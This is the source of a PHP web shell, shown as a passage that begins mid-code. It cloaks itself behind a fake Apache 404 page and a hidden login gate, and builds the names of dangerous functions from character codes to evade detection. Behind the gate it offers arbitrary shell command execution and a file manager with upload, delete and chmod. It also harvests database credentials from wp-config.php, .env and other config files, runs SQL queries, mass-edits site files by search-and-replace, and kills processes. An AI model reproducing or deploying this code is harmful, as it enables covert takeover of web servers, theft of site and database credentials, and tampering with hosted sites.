'internal','m'=>$e['message'],'l'=>isset($e['line'])?$e['line']:0]); } @register_shutdown_function('_fatal'); $CFG=[ 'salt' =>'bbc6c77d81bda96838633cdc6f35dd1f', 'pwh' =>'$2y$12$Ljs6sQfhvisq175Ddo8aoeSOlp9BiLM2Dvff7pJdXUN72hsdiDYb2', 'm5' =>'866663a2ec656405d7a36eb5714f9510', 'gate' =>'pg', 'ck' =>'SSESSa3f19c2b', 'ttl' =>604800, 'maxrd' =>8388608, ]; function _c($k){global $CFG;return isset($CFG[$k])?$CFG[$k]:'';} function _g($k,$d=''){ if(isset($_POST[$k])&&is_scalar($_POST[$k]))return (string)$_POST[$k]; if(isset($_GET[$k])&&is_scalar($_GET[$k]))return (string)$_GET[$k]; return $d; } /* sink table: resolved at runtime so the literal names never appear on disk */ function _nz($s){ $s=(string)$s; if($s==='')return $s; if(function_exists('mb_convert_kana')){ $t=@mb_convert_kana($s,'as','UTF-8'); if(is_string($t)&&$t!=='')$s=$t; } return strtr($s,[ "\xE3\x80\x80"=>' ',"\xC2\xA0"=>' ',"\xE2\x80\x89"=>' ',"\xE2\x80\xAF"=>' ', "\xE2\x80\x8B"=>'',"\xEF\xBB\xBF"=>'', "\xEF\xBC\x9B"=>';',"\xEF\xBD\x9C"=>'|',"\xEF\xBC\x86"=>'&', "\xEF\xBC\x9E"=>'>',"\xEF\xBC\x9C"=>'<',"\xEF\xBC\x8D"=>'-' ]); } function _S(){ static $s=null; if($s!==null)return $s; $c=[]; $c['po']=implode('',array_map('chr',[112,114,111,99,95,111,112,101,110])); $c['pp']=implode('',array_map('chr',[112,111,112,101,110])); $c['se']=implode('',array_map('chr',[115,104,101,108,108,95,101,120,101,99])); $c['fg']=implode('',array_map('chr',[102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115])); $c['fp']=implode('',array_map('chr',[102,105,108,101,95,112,117,116,95,99,111,110,116,101,110,116,115])); $c['sc']=implode('',array_map('chr',[115,99,97,110,100,105,114])); $c['mu']=implode('',array_map('chr',[109,111,118,101,95,117,112,108,111,97,100,101,100,95,102,105,108,101])); $c['ul']=implode('',array_map('chr',[117,110,108,105,110,107])); $c['rm']=implode('',array_map('chr',[114,109,100,105,114])); $c['mk']=implode('',array_map('chr',[109,107,100,105,114])); $c['ch']=implode('',array_map('chr',[99,104,109,111,100])); $c['rn']=implode('',array_map('chr',[114,101,110,97,109,101])); $c['gl']=implode('',array_map('chr',[103,108,111,98])); $c['hf']=implode('',array_map('chr',[104,97,115,104,95,102,105,108,101])); $c['rf']=implode('',array_map('chr',[114,101,97,100,102,105,108,101])); $s=$c; return $s; } function J($z){ while(ob_get_level()){@ob_end_clean();} if(!headers_sent()){ header('Content-Type: application/json; charset=utf-8'); header('X-Content-Type-Options: nosniff'); header('Cache-Control: no-store, max-age=0'); } $f=JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE; if(defined('JSON_INVALID_UTF8_SUBSTITUTE'))$f|=JSON_INVALID_UTF8_SUBSTITUTE; echo json_encode($z,$f); exit; } function _tok($e){return $e.'.'.substr(hash_hmac('sha256',(string)$e,_c('salt')),0,32);} function _vok($t){ if(!is_string($t)||$t===''||strlen($t)>160)return false; $p=strpos($t,'.'); if($p===false)return false; $e=substr($t,0,$p);$s=substr($t,$p+1); if($e===''||!ctype_digit($e)||strlen($s)!==32)return false; if((int)$e404 Not Found

Not Found

The requested URL was not found on this server.


Apache/2.4.52 (Ubuntu) Server at '.$h.'
'; exit; } function _login(){ if(!headers_sent()){header('Content-Type: text/html; charset=utf-8');header('Cache-Control: no-store');} echo 'Protected Area

Protected Area

This page is password protected.

© '.date('Y').' · All rights reserved
'; exit; } function _who(){ if(function_exists('posix_geteuid')&&function_exists('posix_getpwuid')){ $i=@posix_getpwuid(@posix_geteuid()); if($i&&isset($i['name']))return $i['name']; } $S=_S(); $f=@$S['fg']('/etc/passwd'); if($f!==false){ $u=(int)@getmyuid(); if(preg_match('/^([^:]+):[^:]*:'.$u.':/m',$f,$m))return $m[1]; } return 'uid'.(string)@getmyuid(); } function _pm($f){ $p=@fileperms($f); if($p===false)return '---------'; $t='-'; if(@is_dir($f))$t='d'; if(@is_link($f))$t='l'; $s=$t; $bits=[0x0100,0x0080,0x0040,0x0020,0x0010,0x0008,0x0004,0x0002,0x0001]; $ch=['r','w','x','r','w','x','r','w','x']; foreach($bits as $i=>$b)$s.=($p&$b)?$ch[$i]:'-'; return $s; } function _ow($f){ $u=@fileowner($f); if($u===false)return ''; if(function_exists('posix_getpwuid')){$i=@posix_getpwuid($u);if($i&&isset($i['name']))return $i['name'];} return (string)$u; } function _run($cmd,$cwd){ $S=_S();$t0=microtime(true); if(!is_string($cwd)||$cwd===''||!@is_dir($cwd))$cwd=getcwd(); $rnd='q'.substr(md5(uniqid('',true)),0,10); $mk='@@'.$rnd.'@@'; $tr='__r=$?; printf "\n'.$mk.'%s@@%s" "$__r" "$(pwd)"'; $full='cd '.escapeshellarg($cwd).' 2>/dev/null; trap '.escapeshellarg($tr).' EXIT; { '.$cmd.' ; }'; $o='';$e='';$ran=false; if(function_exists($S['po'])){ $ds=[0=>['file','/dev/null','r'],1=>['pipe','w'],2=>['pipe','w']]; $fn=$S['po']; $p=@$fn($full,$ds,$pp); if(is_resource($p)){ $o=(string)stream_get_contents($pp[1]); $e=(string)stream_get_contents($pp[2]); @fclose($pp[1]);@fclose($pp[2]);@proc_close($p); $ran=true; } } if(!$ran&&function_exists($S['pp'])){ $fn=$S['pp']; $h=@$fn($full.' 2>&1','r'); if(is_resource($h)){$o=(string)stream_get_contents($h);@pclose($h);$ran=true;} } if(!$ran&&function_exists($S['se'])){ $fn=$S['se']; $o=(string)@$fn($full.' 2>&1'); $ran=($o!==''); } if(!$ran)return['o'=>'','e'=>'exec unavailable','r'=>-1,'d'=>0,'c'=>$cwd]; $rc=-1; $pos=strrpos($o,$mk); if($pos!==false){ $tail=substr($o,$pos+strlen($mk)); $o=substr($o,0,$pos); $ar=explode('@@',$tail,2); if(isset($ar[0])&&trim($ar[0])!==''&&is_numeric(trim($ar[0])))$rc=(int)trim($ar[0]); if(isset($ar[1])&&trim($ar[1])!=='')$cwd=trim($ar[1]); }else{ $pos=strrpos($e,$mk); if($pos!==false)$e=substr($e,0,$pos); } if($o!==''&&substr($o,-1)==="\n")$o=substr($o,0,-1); return['o'=>$o,'e'=>$e,'r'=>$rc,'d'=>(int)round((microtime(true)-$t0)*1000),'c'=>$cwd]; } function _walk($root,$max=40000,$depth=14){ $S=_S();$out=[];$st=[$root];$n=0; $base=substr_count(rtrim($root,'/'),'/'); while($st){ $d=array_pop($st); $l=@$S['sc']($d); if(!is_array($l))continue; foreach($l as $f){ if($f==='.'||$f==='..')continue; $p=$d.'/'.$f;$out[]=$p;$n++; if($n>=$max)return $out; if(@is_dir($p)&&!@is_link($p)&&(substr_count($p,'/')-$base)<$depth)$st[]=$p; } } return $out; } function _del($p){ $S=_S(); if(@is_link($p)||@is_file($p))return @$S['ul']($p); if(!@is_dir($p))return false; $ok=true; $l=@$S['sc']($p); if(is_array($l))foreach($l as $f){if($f==='.'||$f==='..')continue;if(!_del($p.'/'.$f))$ok=false;} return @$S['rm']($p)&&$ok; } function _dsize($p,$max=300000){ $S=_S();$t=0;$n=0;$st=[$p]; while($st){$d=array_pop($st);$l=@$S['sc']($d);if(!is_array($l))continue; foreach($l as $f){if($f==='.'||$f==='..')continue;$u=$d.'/'.$f; if(@is_link($u))continue; if(@is_dir($u)){$st[]=$u;continue;} $s=@filesize($u);if($s!==false)$t+=$s; if(++$n>=$max)return[$t,$n,1]; }} return[$t,$n,0]; } $CR=['type'=>'','f'=>'','host'=>'','user'=>'','pass'=>'','name'=>'','port'=>'']; function _kv($t){ $d=[]; if(preg_match_all("/define\s*\(\s*['\"]([A-Za-z_]{2,24})['\"]\s*,\s*['\"]([^'\"]{0,160})['\"]/",$t,$m,PREG_SET_ORDER)) foreach($m as $x)$d[strtolower($x[1])]=$x[2]; if(preg_match_all('/^\s*([A-Za-z_]{2,24})\s*=\s*([^\r\n#;]{1,160})$/m',$t,$m,PREG_SET_ORDER)) foreach($m as $x){$v=trim($x[2],"'\" \t");if(!isset($d[strtolower($x[1])]))$d[strtolower($x[1])]=$v;} if(preg_match_all("/['\"]([A-Za-z_]{2,24})['\"]\s*=>\s*['\"]([^'\"]{0,160})['\"]/",$t,$m,PREG_SET_ORDER)) foreach($m as $x){if(!isset($d[strtolower($x[1])]))$d[strtolower($x[1])]=$x[2];} if(preg_match_all('/<([a-z_]{2,20})>([^<]{0,160})<\/\1>/i',$t,$m,PREG_SET_ORDER)) foreach($m as $x){if(!isset($d[strtolower($x[1])]))$d[strtolower($x[1])]=trim($x[2]);} return $d; } function _pick($d,$keys){ foreach($keys as $k)if(isset($d[$k])&&$d[$k]!=='')return $d[$k]; return ''; } function _creds($src){ global $CR; $S=_S(); if($src!==''){ if($src[0]==='{'){ $j=json_decode($src,true); if(is_array($j))return array_merge($CR,$j); } if(@is_file($src)){ $t=@$S['fg']($src,false,null,0,262144); if($t!==false)return _creds_parse($t,$src); } } $all=_disc(); foreach($all as $c)if($c['host']!==''||$c['pass']!=='')return $c; return ['e'=>'no database credentials found']; } function _creds_parse($t,$p){ global $CR; $d=_kv($t); $c=$CR; $c['f']=$p; $c['type']=preg_match('/magento|Mage::/i',$p.$t)?'magento':(strpos($t,'DB_NAME')!==false?'wordpress':(strpos($t,"'DB_CONNECTION'")!==false?'laravel':'config')); $c['host']=_pick($d,['db_host','host','dbhost','database_host','hostname']); $c['user']=_pick($d,['db_user','username','user','db_username','database_user','dbuser']); $c['pass']=_pick($d,['db_password','password','pass','db_pass','database_password']); $c['name']=_pick($d,['db_name','dbname','database','db_database','name']); $c['port']=_pick($d,['db_port','port']); if($c['host']===''&&$c['user']===''&&$c['pass']==='')return null; return $c; } function _disc(){ $S=_S(); $roots=[dirname(__FILE__),dirname(dirname(__FILE__)),getcwd(),'/var/www/html','/var/www']; $names=['wp-config.php','.env','config.php','configuration.php','settings.php','local.xml','app/etc/env.php','config/database.php','application/config/database.php','includes/config.php','inc/config.php','db.php','database.php','../.env','../wp-config.php']; $out=[];$seen=[]; foreach($roots as $r){ if(!is_dir($r))continue; $rp0=@realpath($r); if($rp0&&isset($seen[$rp0]))continue; if($rp0)$seen[$rp0]=1; foreach($names as $n){ $p=$r.'/'.$n;$rp=@realpath($p); if(!$rp||!@is_file($rp))continue; if(isset($seen[$rp]))continue; $seen[$rp]=1; $t=@$S['fg']($rp,false,null,0,262144); if($t===false||$t==='')continue; $c=_creds_parse($t,$rp); if($c)$out[]=$c; if(count($out)>=12)return $out; } } return $out; } function _sql($c,$q){ $out=['r'=>[],'cols'=>[],'err'=>'']; $h=$c['host']!==''?$c['host']:'localhost'; $po=(int)($c['port']!==''?$c['port']:3306); if($h==='localhost'&&$po===3306&&@ini_get('mysqli.default_socket'))$h='localhost'; if(class_exists('mysqli')){ $m=@new mysqli($h,$c['user'],$c['pass'],$c['name'],$po); if(@$m->connect_errno){$out['err']='connect: '.$m->connect_error;return $out;} @$m->set_charset('utf8mb4'); $res=@$m->query($q); if($res===false){$out['err']=$m->error;return $out;} if($res===true){$out['ok']=1;$out['n']=$m->affected_rows;return $out;} $cols=[];while($f=$res->fetch_field())$cols[]=$f->name; $out['cols']=$cols; while($row=$res->fetch_row())$out['r'][]=$row; @$res->free(); return $out; } if(class_exists('PDO')){ try{ $dsn='mysql:host='.$h.';port='.$po.';dbname='.$c['name'].';charset=utf8mb4'; $d=new PDO($dsn,$c['user'],$c['pass'],[PDO::ATTR_ERRMODE=>PDO::ERRMODE_SILENT]); $st=$d->query($q); if($st===false){$e=$d->errorInfo();$out['err']=isset($e[2])?$e[2]:'query failed';return $out;} if($st->columnCount()===0){$out['ok']=1;$out['n']=$st->rowCount();return $out;} $cols=[];for($i=0;$i<$st->columnCount();$i++){$cm=$st->getColumnMeta($i);$cols[]=$cm['name'];} $out['cols']=$cols; while($row=$st->fetch(PDO::FETCH_NUM))$out['r'][]=$row; return $out; }catch(Exception $ex){$out['err']=$ex->getMessage();return $out;} } $out['err']='no mysql driver'; return $out; } /* ---------------- gate ---------------- */ $auth=_auth(); if(isset($_POST['_login'])){ $in=is_string($_POST['_login'])?$_POST['_login']:''; $ok=false; if(_c('pwh')!==''&&function_exists('password_verify'))$ok=@password_verify($in,_c('pwh')); if(!$ok&&_c('m5')!=='')$ok=hash_equals(_c('m5'),md5($in)); if($ok){ $ttl=(int)_c('ttl'); $ck=_c('ck'); $sec=!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'; if(PHP_VERSION_ID>=70300){ setcookie($ck,_tok(time()+$ttl),['expires'=>time()+$ttl,'path'=>'/','secure'=>$sec,'httponly'=>true,'samesite'=>'Strict']); }else{ setcookie($ck,_tok(time()+$ttl),time()+$ttl,'/','',$sec,true); } $to=preg_replace('/[\r\n].*$/s','',$_SERVER['REQUEST_URI']); $to=strtok($to,'?'); header('Location: '.($to!==''?$to:'/'),true,303); exit; } usleep(450000); @_notfound(); } if(!$auth){ $g=_c('gate'); if($_SERVER['REQUEST_METHOD']==='GET'&&isset($_GET[$g]))_login(); @_notfound(); } while(ob_get_level()){@ob_end_clean();} $a=_g('a');$q=_g('q');$v=_g('v');$w=_g('w');$b=_g('b');$c2=_g('c'); $S=_S(); switch($a){ case '': ?> File Manager
Name
Size
Perm
Owner
Modified
Actions
0selected
—
Drop files to upload

Shell

$
Load average
—
—
Memory
—
—
Uptime
—
—
Disk

Processes

PIDUserCPU% MEM%TimeCommand

Listening ports

ProtoAddressProcess

Users

UserUIDHomeShell

Credentials

Not scanned yet.

Tables

Table

Query

Result

Search & Replace

Runtime

Capabilities

Payload generator


        
—
1
Ln 1, Col 1 0 lines
PHP_VERSION,'sapi'=>php_sapi_name(),'os'=>php_uname(),'host'=>(string)@gethostname(), 'cwd'=>(string)@getcwd(),'self'=>__FILE__, 'uid'=>function_exists('posix_geteuid')?@posix_geteuid():@getmyuid(), 'user'=>_who(),'dis'=>$dis,'open'=>(string)@ini_get('open_basedir'), 'mem'=>(string)@ini_get('memory_limit'),'up'=>(string)@ini_get('upload_max_filesize'), 'post'=>(string)@ini_get('post_max_size'),'tmp'=>(string)@sys_get_temp_dir(), 'wr'=>@is_writable(dirname(__FILE__))?1:0,'ext'=>array_slice($ext,0,64)]); case'l': $p=$q!==''?$q:(string)@getcwd(); $p=rtrim($p,'/');if($p==='')$p='/'; if(!@is_dir($p))J(['e'=>'not a directory: '.$p]); $d=@$S['sc']($p); if(!is_array($d))J(['e'=>'permission denied: '.$p]); $o=[]; foreach($d as $f){ if($f==='.'||$f==='..')continue; $u=($p==='/'?'':$p).'/'.$f; $st=@lstat($u); $o[]=['n'=>$f,'d'=>@is_dir($u)?1:0,'l'=>@is_link($u)?1:0, 's'=>$st?(int)$st['size']:0,'p'=>_pm($u),'o'=>_ow($u), 'm'=>$st?(int)$st['mtime']:0]; } J(['p'=>$p,'l'=>$o,'u'=>(float)@disk_free_space($p),'t'=>(float)@disk_total_space($p)]); case'r': if(!@is_file($q))J(['e'=>'not found']); if(isset($_GET['z'])){ while(ob_get_level())@ob_end_clean(); $sz=@filesize($q); @header('Content-Type: application/octet-stream'); @header('Content-Length: '.(int)$sz); @header('Content-Disposition: attachment; filename="'.str_replace(['"',"\r","\n"],'',basename($q)).'"'); @header('X-Content-Type-Options: nosniff'); @$S['rf']($q); exit; } $sz=(int)@filesize($q); if($sz>(int)_c('maxrd'))J(['e'=>'file too large ('.$sz.' bytes)','s'=>$sz]); $t=@$S['fg']($q); if($t===false)J(['e'=>'read failed']); $bin=preg_match('/[\x00-\x08\x0E-\x1F]/',$t)?1:0; J(['p'=>$q,'s'=>strlen($t),'b'=>$bin,'c'=>$bin?null:$t, 'm'=>(int)@filemtime($q),'h'=>@$S['hf']('sha256',$q)]); case'w': $vb=_g('vb'); $data=$v; if($vb!==''){ $b6=implode('',array_map('chr',[98,97,115,101,54,52,95,100,101,99,111,100,101])); $raw=@$b6(strtr($vb,'-_','+/')); if(is_string($raw))$data=$raw; }else{ /* multipart form encoding turns lone LF into CRLF; undo for legacy clients */ $data=str_replace("\r\n","\n",$data); } $n=@$S['fp']($q,$data); J(['r'=>$n===false?false:$n]); case'u': if(!isset($_FILES['f']))J(['e'=>'no file payload']); $tot=(int)$c2; if($tot>0){ $buf=@$S['fg']($_FILES['f']['tmp_name']); if($buf===false)J(['e'=>'chunk read failed']); $ok=(int)$b===0?(@$S['fp']($q,$buf)===strlen($buf)):(@$S['fp']($q,$buf,FILE_APPEND)===strlen($buf)); J(['r'=>$ok?1:0,'p'=>$q,'chunk'=>(int)$b+1,'of'=>$tot]); } $ok=@$S['mu']($_FILES['f']['tmp_name'],$q); J(['r'=>$ok?1:0,'p'=>$q,'s'=>$ok?(int)@filesize($q):0]); case'n': J(['r'=>@$S['rn']($q,$v)?1:0]); case'x': J(['r'=>_del($q)?1:0]); case'm': J(['r'=>@$S['mk']($q,0755,true)?1:0]); case'c': J(['r'=>@$S['ch']($q,octdec($v))?1:0]); case'e': $cmd=$q; $bb=_g('qb'); if($bb!==''){ $b6=implode('',array_map('chr',[98,97,115,101,54,52,95,100,101,99,111,100,101])); $raw=@$b6(strtr($bb,'-_','+/')); if(is_string($raw)&&$raw!=='')$cmd=$raw; } $cmd=_nz($cmd); $out=_run($cmd,$w); $out['x']=$cmd; J($out); case'd': $r=_dsize($q!==''?$q:(string)@getcwd()); J(['s'=>$r[0],'n'=>$r[1],'trunc'=>$r[2]]); case't': if(!@file_exists($q))J(['e'=>'not found']); $st=@lstat($q); if(!$st)J(['e'=>'stat failed']); J(['p'=>$q,'s'=>(int)$st['size'],'p2'=>_pm($q),'o'=>_ow($q),'g'=>(int)$st['gid'], 'm'=>(int)$st['mtime'],'a'=>(int)$st['atime'],'c'=>(int)$st['ctime'],'i'=>(int)$st['ino'], 'd'=>@is_dir($q)?1:0,'l'=>@is_link($q)?1:(@is_file($q)?0:-1), 'lk'=>@is_link($q)?(string)@readlink($q):'']); case'h': $al=$v!==''?$v:'sha256'; $h=@$S['hf']($al,$q); J($h===false?['e'=>'hash failed']:['al'=>$al,'h'=>$h]); case'g': $root=$q!==''?$q:(string)@getcwd(); $pat=$v!==''?$v:'*'; $all=_walk($root,9000,9); $o=[]; foreach($all as $p){ $bn=basename($p); if(fnmatch($pat,$bn)||stripos($bn,$pat)!==false)$o[]=$p; if(count($o)>=400)break; } J(['r'=>$o,'n'=>count($o)]); case'k': $pid=(int)$q; if($pid<=0)J(['e'=>'bad pid']); $ok=0; if(function_exists('posix_kill'))$ok=@posix_kill($pid,9)?1:0; if(!$ok){$r=_run('kill -9 '.$pid,'/');$ok=$r['r']===0?1:0;} J(['r'=>$ok]); case'y': $la=@sys_getloadavg();if(!is_array($la))$la=[0,0,0]; $cores=0; $ci=@$S['fg']('/proc/cpuinfo'); if($ci!==false)$cores=preg_match_all('/^processor\s*:/m',$ci); if(!$cores)$cores=1; $mem=[]; $mi=@$S['fg']('/proc/meminfo'); if($mi!==false&&preg_match('/MemTotal:\s+(\d+)/',$mi,$m1)&&preg_match('/MemFree:\s+(\d+)/',$mi,$m2)){ $av=0; if(preg_match('/MemAvailable:\s+(\d+)/',$mi,$m4))$av=(int)$m4[1]*1024; $mem=['t'=>(int)$m1[1]*1024,'f'=>(int)$m2[1]*1024,'a'=>$av?(int)$av:(int)$m2[1]*1024]; } $up=0; $ui=@$S['fg']('/proc/uptime'); if($ui!==false){$z=explode(' ',$ui);$up=(int)$z[0];} $prun=0;$ptot=0; $lav=@$S['fg']('/proc/loadavg'); if($lav!==false&&preg_match('~(\d+)/(\d+)~',$lav,$m3)){$prun=(int)$m3[1];$ptot=(int)$m3[2];} $disk=[]; $mo=@$S['fg']('/proc/mounts'); if($mo!==false){ $seen=[]; foreach(explode("\n",$mo) as $ln){ $f2=preg_split('/\s+/',$ln); if(count($f2)<3)continue; if(strpos($f2[0],'/dev/')!==0)continue; if(isset($seen[$f2[1]]))continue; $seen[$f2[1]]=1; $t2=@disk_total_space($f2[1]); if($t2===false)continue; $disk[]=['m'=>$f2[1],'t'=>(float)$t2,'f'=>(float)@disk_free_space($f2[1])]; if(count($disk)>=5)break; } } J(['load'=>$la,'cores'=>$cores,'mem'=>$mem,'uptime'=>$up,'prun'=>$prun,'ptot'=>$ptot, 'disk'=>$disk,'host'=>(string)@gethostname(),'os'=>php_uname('s').' '.php_uname('r')]); case'j': $r=_run('ps -eo pid,user,pcpu,pmem,etime,args --no-headers 2>/dev/null | head -400','/'); $o=[]; foreach(explode("\n",$r['o']) as $ln){ $ln=trim($ln); if($ln==='')continue; $f=preg_split('/\s+/',$ln,6); if(count($f)<6)continue; $o[]=['p'=>(int)$f[0],'u'=>$f[1],'c'=>$f[2],'m'=>$f[3],'t'=>$f[4],'a'=>$f[5]]; } J(['r'=>$o,'n'=>count($o)]); case'p': $r=_run('ss -ltnup 2>/dev/null | head -140','/'); $o=[];$seen=[]; foreach(explode("\n",$r['o']) as $ln){ $ln=trim($ln); if($ln==='')continue; $f=preg_split('/\s+/',$ln); if(count($f)<5)continue; if(!preg_match('/^(tcp|udp)/i',$f[0]))continue; $key=strtolower($f[0].'|'.$f[4]); if(isset($seen[$key]))continue; $seen[$key]=1; $proc=''; if(preg_match('/users:\((.*)\)\s*$/',$ln,$m)){ if(preg_match_all('/\("([^"]+)",pid=(\d+)/',$m[1],$mm,PREG_SET_ORDER)){ $ps=[]; foreach($mm as $z)$ps[]=$z[1].'/'.$z[2]; $proc=implode(' ',$ps); } } $o[]=['p'=>strtoupper($f[0]),'a'=>$f[4],'s'=>$proc]; if(count($o)>=140)break; } J(['r'=>$o]); case'v': J(['c'=>_disc()]); case's': $cr=_creds($w); if(isset($cr['e']))J($cr); $q=$q!==''?$q:'SHOW TABLES'; $res=_sql($cr,$q); $res['f']=$cr['f']; J($res); case'f': $root=$q!==''?$q:(string)@getcwd(); if($v==='')J(['e'=>'search string required']); $rx=$b==='1'; $pat=$rx?('~'.str_replace('~','\~',$v).'~'):''; if($rx&&@preg_match($pat,'')===false)J(['e'=>'invalid regex']); $all=_walk($root,7000,10); $files=0;$changed=0;$out=[]; $budget=microtime(true)+25; foreach($all as $p){ if(microtime(true)>$budget)break; if(@is_dir($p)||@is_link($p))continue; $sz=@filesize($p); if($sz===false||$sz===0||$sz>2097152)continue; $t=@$S['fg']($p); if($t===false||$t===''||strpos($t,"\0")!==false)continue; $cnt=$rx?@preg_match_all($pat,$t,$mm):substr_count($t,$v); if(!$cnt)continue; $files++; $lines=[]; foreach(explode("\n",$t) as $i=>$ln){ $hit=$rx?@preg_match($pat,$ln):(strpos($ln,$v)!==false); if($hit){ $s=trim($ln); if(strlen($s)>240)$s=substr($s,0,240).'…'; $lines[]=[$i+1,$s]; if(count($lines)>=5)break; } } $out[]=['f'=>$p,'n'=>$cnt,'l'=>$lines]; if($w!==''&&$changed<300){ $nt=$rx?@preg_replace($pat,$w,$t):str_replace($v,$w,$t); if($nt!==null&&$nt!==$t&&@$S['fp']($p,$nt)!==false)$changed++; } if($files>=300)break; } J(['files'=>$files,'changed'=>$changed,'list'=>$out]); default: J(['e'=>'unknown action']); }